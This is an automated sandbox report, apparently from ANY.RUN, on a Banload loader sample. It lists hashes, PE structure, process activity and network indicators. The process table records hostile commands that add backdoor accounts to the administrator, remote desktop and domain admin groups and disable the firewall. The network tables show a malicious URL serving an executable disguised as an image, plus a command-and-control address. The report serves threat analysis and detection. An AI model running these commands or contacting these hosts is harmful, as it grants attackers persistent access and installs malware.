| File name: | malware200.exe |
| Full analysis: | https://app.any.run/tasks/7b199c34-f88b-4f43-b6df-75ee420311c9 |
| Verdict: | Malicious activity |
| Threats: | A loader is malicious software that infiltrates devices to deliver malicious payloads. This malware is capable of infecting victims’ computers, analyzing their system information, and installing other types of threats, such as trojans or stealers. Criminals usually deliver loaders through phishing emails and links by relying on social engineering to trick users into downloading and running their executables. Loaders employ advanced evasion and persistence tactics to avoid detection. |
| Analysis date: | September 08, 2018, 08:17:09 |
| OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
| Tags: | |
| Indicators: | |
| MIME: | application/x-dosexec |
| File info: | PE32 executable (GUI) Intel 80386, for MS Windows |
| MD5: | 957302C7E0C9E025397C2E3CFDC0FEF3 |
| SHA1: | 10AC72A20AC5CD28C94199899FE2EAE6ED5B3A84 |
| SHA256: | AE1DAB47FAE0307831EC90B249D26AB4D783FD1FBFEBF98A2448D40932885BBD |
| SSDEEP: | 12288:oquErHF6xC9D6DmR1J98w4oknqOOCyQf1vYOUlsxd:prl6kD68JmlotQfhHUl4 |
MALICIOUS
Starts NET.EXE to view/add/change user profiles
- malware200.exe (PID: 3036)
Turns off the firewall via NETSH.EXE
- cmd.exe (PID: 2824)
- cmd.exe (PID: 2960)
Starts NET.EXE to view/change users group
- malware200.exe (PID: 3036)
BANLOAD was detected
- malware200.exe (PID: 3036)
Downloads executable files with a strange extension
- malware200.exe (PID: 3036)
Downloads executable files from the Internet
- malware200.exe (PID: 3036)
Application was dropped or rewritten from another process
- kerll32.exe (PID: 928)
Connects to CnC server
- explorer.exe (PID: 1660)
SUSPICIOUS
Uses NETSH.EXE for network configuration
- cmd.exe (PID: 2848)
- cmd.exe (PID: 2824)
- cmd.exe (PID: 2960)
Starts CMD.EXE for commands execution
- malware200.exe (PID: 3036)
Reads Internet Cache Settings
- rundll32.exe (PID: 3512)
- rundll32.exe (PID: 3824)
- rundll32.exe (PID: 3916)
Creates files in the user directory
- malware200.exe (PID: 3036)
Executable content was dropped or overwritten
- malware200.exe (PID: 3036)
INFO
No info indicators.
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
TRiD
| .exe | | | Win32 EXE Yoda's Crypter (63.7) |
|---|---|---|
| .dll | | | Win32 Dynamic Link Library (generic) (15.7) |
| .exe | | | Win32 Executable (generic) (10.8) |
| .exe | | | Generic Win/DOS Executable (4.8) |
| .exe | | | DOS Executable Generic (4.8) |
EXIF
EXE
| MachineType: | Intel 386 or later, and compatibles |
|---|---|
| TimeStamp: | 2017:04:26 20:12:56+02:00 |
| PEType: | PE32 |
| LinkerVersion: | 12 |
| CodeSize: | 352256 |
| InitializedDataSize: | 106496 |
| UninitializedDataSize: | 634880 |
| EntryPoint: | 0xf1990 |
| OSVersion: | 5.1 |
| ImageVersion: | - |
| SubsystemVersion: | 5.1 |
| Subsystem: | Windows GUI |
Summary
| Architecture: | IMAGE_FILE_MACHINE_I386 |
|---|---|
| Subsystem: | IMAGE_SUBSYSTEM_WINDOWS_GUI |
| Compilation Date: | 26-Apr-2017 18:12:56 |
| Detected languages: |
|
DOS Header
| Magic number: | MZ |
|---|---|
| Bytes on last page of file: | 0x0090 |
| Pages in file: | 0x0003 |
| Relocations: | 0x0000 |
| Size of header: | 0x0004 |
| Min extra paragraphs: | 0x0000 |
| Max extra paragraphs: | 0xFFFF |
| Initial SS value: | 0x0000 |
| Initial SP value: | 0x00B8 |
| Checksum: | 0x0000 |
| Initial IP value: | 0x0000 |
| Initial CS value: | 0x0000 |
| Overlay number: | 0x0000 |
| OEM identifier: | 0x0000 |
| OEM information: | 0x0000 |
| Address of NE header: | 0x00000110 |
PE Headers
| Signature: | PE |
|---|---|
| Machine: | IMAGE_FILE_MACHINE_I386 |
| Number of sections: | 3 |
| Time date stamp: | 26-Apr-2017 18:12:56 |
| Pointer to Symbol Table: | 0x00000000 |
| Number of symbols: | 0 |
| Size of Optional Header: | 0x00E0 |
| Characteristics: |
|
Sections
Name | Virtual Address | Virtual Size | Raw Size | Charateristics | Entropy |
|---|---|---|---|---|---|
.yt | 0x00001000 | 0x0009B000 | 0x00000000 | IMAGE_SCN_CNT_CODE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_SHARED, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_TYPE_GROUP, IMAGE_SCN_TYPE_OVER | 0 |
.yPuj | 0x0009C000 | 0x00056000 | 0x00055C00 | IMAGE_SCN_CNT_CODE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE | 7.93689 |
.RoJQ | 0x000F2000 | 0x0001A000 | 0x0001A000 | IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE | 7.90381 |
Resources
Title | Entropy | Size | Codepage | Language | Type |
|---|---|---|---|---|---|
1 | 5.40026 | 1007 | Latin 1 / Western European | English - United Kingdom | RT_MANIFEST |
2 | 2.19191 | 296 | Latin 1 / Western European | English - United Kingdom | RT_ICON |
3 | 2.3654 | 296 | Latin 1 / Western European | English - United Kingdom | RT_ICON |
4 | 3.72198 | 744 | Latin 1 / Western European | English - United Kingdom | RT_ICON |
5 | 3.50674 | 296 | Latin 1 / Western European | English - United Kingdom | RT_ICON |
6 | 3.58616 | 3752 | Latin 1 / Western European | English - United Kingdom | RT_ICON |
7 | 7.75159 | 1428 | Latin 1 / Western European | English - United Kingdom | RT_STRING |
8 | 7.80906 | 1674 | Latin 1 / Western European | English - United Kingdom | RT_STRING |
9 | 7.70999 | 1168 | Latin 1 / Western European | English - United Kingdom | RT_STRING |
10 | 7.77321 | 1532 | Latin 1 / Western European | English - United Kingdom | RT_STRING |
Imports
ADVAPI32.dll |
COMCTL32.dll |
COMDLG32.dll |
GDI32.dll |
IPHLPAPI.DLL |
KERNEL32.DLL |
MPR.dll |
OLEAUT32.dll |
PSAPI.DLL |
SHELL32.dll |
Total processes
96
Monitored processes
44
Malicious processes
3
Suspicious processes
0
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 292 | C:\Windows\system32\cmd.exe /C "wmic path Win32_UserAccount where Name="AstNet" set PasswordExpires=false" | C:\Windows\system32\cmd.exe | — | malware200.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) Modules
| |||||||||||||||
| 324 | C:\Windows\system32\net1 user server_sys /active:yes | C:\Windows\system32\net1.exe | — | net.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Net Command Exit code: 2 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) Modules
| |||||||||||||||
| 372 | net localgroup "remote desktop users" AstNet /add | C:\Windows\system32\net.exe | — | malware200.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Net Command Exit code: 2 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 404 | C:\Windows\system32\net1 localgroup administrators AstNet /add | C:\Windows\system32\net1.exe | — | net.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Net Command Exit code: 2 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) Modules
| |||||||||||||||
| 472 | netsh firewall set opmode Disable | C:\Windows\system32\netsh.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Network Command Shell Exit code: 1 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 720 | net localgroup administrators AstNet /add | C:\Windows\system32\net.exe | — | malware200.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Net Command Exit code: 2 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 928 | C:\Users\admin\AppData\Local\Temp\kerll32.exe | C:\Users\admin\AppData\Local\Temp\kerll32.exe | — | malware200.exe | |||||||||||
User: admin Integrity Level: MEDIUM Description: Enaphantsiternational Exit code: 0 Modules
| |||||||||||||||
| 944 | net user AstNet /expires:never | C:\Windows\system32\net.exe | — | malware200.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Net Command Exit code: 2 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 1088 | C:\Windows\system32\net1 localgroup "remote desktop users" server_sys /add | C:\Windows\system32\net1.exe | — | net.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Net Command Exit code: 2 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) Modules
| |||||||||||||||
| 1464 | net group "domain admins" AstNet /add | C:\Windows\system32\net.exe | — | malware200.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Net Command Exit code: 2 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
Total events
358
Read events
165
Write events
193
Delete events
0
Modification events
| (PID) Process: | (472) netsh.exe | Key: | HKEY_CLASSES_ROOT\Local Settings\MuiCache\59\52C64B7E |
| Operation: | write | Name: | LanguageList |
Value: en-US | |||
| (PID) Process: | (3280) netsh.exe | Key: | HKEY_CLASSES_ROOT\Local Settings\MuiCache\59\52C64B7E |
| Operation: | write | Name: | LanguageList |
Value: en-US | |||
| (PID) Process: | (2484) netsh.exe | Key: | HKEY_CLASSES_ROOT\Local Settings\MuiCache\59\52C64B7E |
| Operation: | write | Name: | LanguageList |
Value: en-US | |||
| (PID) Process: | (2484) netsh.exe | Key: | HKEY_CLASSES_ROOT\Local Settings\MuiCache\59\52C64B7E |
| Operation: | write | Name: | @%SystemRoot%\system32\tsgqec.dll,-102 |
Value: 1.0 | |||
| (PID) Process: | (2484) netsh.exe | Key: | HKEY_CLASSES_ROOT\Local Settings\MuiCache\59\52C64B7E |
| Operation: | write | Name: | @%SystemRoot%\system32\tsgqec.dll,-103 |
Value: Microsoft Corporation | |||
| (PID) Process: | (2484) netsh.exe | Key: | HKEY_CLASSES_ROOT\Local Settings\MuiCache\59\52C64B7E |
| Operation: | write | Name: | @%SystemRoot%\system32\eapqec.dll,-100 |
Value: EAP Quarantine Enforcement Client | |||
| (PID) Process: | (2484) netsh.exe | Key: | HKEY_CLASSES_ROOT\Local Settings\MuiCache\59\52C64B7E |
| Operation: | write | Name: | @%SystemRoot%\system32\eapqec.dll,-102 |
Value: 1.0 | |||
| (PID) Process: | (2484) netsh.exe | Key: | HKEY_CLASSES_ROOT\Local Settings\MuiCache\59\52C64B7E |
| Operation: | write | Name: | @%SystemRoot%\system32\eapqec.dll,-103 |
Value: Microsoft Corporation | |||
| (PID) Process: | (3280) netsh.exe | Key: | HKEY_CLASSES_ROOT\Local Settings\MuiCache\59\52C64B7E |
| Operation: | write | Name: | @%SystemRoot%\system32\dhcpqec.dll,-103 |
Value: 1.0 | |||
| (PID) Process: | (3280) netsh.exe | Key: | HKEY_CLASSES_ROOT\Local Settings\MuiCache\59\52C64B7E |
| Operation: | write | Name: | @%SystemRoot%\system32\napipsec.dll,-1 |
Value: IPsec Relying Party | |||
Executable files
2
Suspicious files
0
Text files
2
Unknown types
0
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 3036 | malware200.exe | C:\Users\admin\AppData\Local\Temp\kerll32.exe | executable | |
MD5:— | SHA256:— | |||
| 3036 | malware200.exe | C:\Users\admin\AppData\Local\Temp\gettl1.ini | text | |
MD5:— | SHA256:— | |||
| 3036 | malware200.exe | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\GUFVP8I9\save3[1].png | executable | |
MD5:— | SHA256:— | |||
| 3036 | malware200.exe | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\HHUAAB7W\logo6[1].jpg | text | |
MD5:— | SHA256:— | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
8
TCP/UDP connections
7
DNS requests
2
Threats
17
HTTP requests
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
3036 | malware200.exe | GET | 200 | 80.242.32.11:80 | http://ucitsaanglicky.sk/img/logo6.jpg | SK | text | 49 b | malicious |
1660 | explorer.exe | POST | 404 | 160.16.109.161:80 | http://160.16.109.161/class/stats/index.php | JP | html | 298 b | malicious |
1660 | explorer.exe | POST | 404 | 160.16.109.161:80 | http://160.16.109.161/class/stats/index.php | JP | html | 298 b | malicious |
1660 | explorer.exe | POST | 404 | 160.16.109.161:80 | http://160.16.109.161/class/stats/index.php | JP | html | 298 b | malicious |
1660 | explorer.exe | POST | 404 | 160.16.109.161:80 | http://160.16.109.161/class/stats/index.php | JP | html | 298 b | malicious |
1660 | explorer.exe | POST | — | 160.16.109.161:80 | http://160.16.109.161/class/stats/index.php | JP | — | — | malicious |
3036 | malware200.exe | GET | 200 | 80.242.32.11:80 | http://ucitsaanglicky.sk/img/save3.png | SK | executable | 103 Kb | malicious |
1660 | explorer.exe | POST | 404 | 160.16.109.161:80 | http://160.16.109.161/class/stats/index.php | JP | html | 298 b | malicious |
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
3036 | malware200.exe | 80.242.32.11:80 | ucitsaanglicky.sk | ARTOS a.s. | SK | malicious |
1660 | explorer.exe | 160.16.109.161:80 | — | SAKURA Internet Inc. | JP | malicious |
DNS requests
Domain | IP | Reputation |
|---|---|---|
www.jily.tw |
| malicious |
ucitsaanglicky.sk |
| malicious |
Threats
PID | Process | Class | Message |
|---|---|---|---|
3036 | malware200.exe | Potential Corporate Privacy Violation | ET POLICY Autoit Windows Automation tool User-Agent in HTTP Request - Possibly Hostile |
3036 | malware200.exe | Potential Corporate Privacy Violation | ET POLICY Autoit Windows Automation tool User-Agent in HTTP Request - Possibly Hostile |
3036 | malware200.exe | Potential Corporate Privacy Violation | ET POLICY PE EXE or DLL Windows file download HTTP |
3036 | malware200.exe | A Network Trojan was detected | ET TROJAN Possible Banload Downloading Executable |
3036 | malware200.exe | A Network Trojan was detected | SC TROJAN_DOWNLOADER Suspicious behavior, PE instead image from server |
3036 | malware200.exe | Misc activity | POLICY [PTsecurity] PE as Image Content type mismatch |
1660 | explorer.exe | Potentially Bad Traffic | ET INFO GENERIC SUSPICIOUS POST to Dotted Quad with Fake Browser 1 |
1660 | explorer.exe | Potentially Bad Traffic | ET INFO GENERIC SUSPICIOUS POST to Dotted Quad with Fake Browser 1 |
1660 | explorer.exe | Potentially Bad Traffic | ET INFO GENERIC SUSPICIOUS POST to Dotted Quad with Fake Browser 1 |
1660 | explorer.exe | Potentially Bad Traffic | ET INFO GENERIC SUSPICIOUS POST to Dotted Quad with Fake Browser 1 |
6 ETPRO signatures available at the full report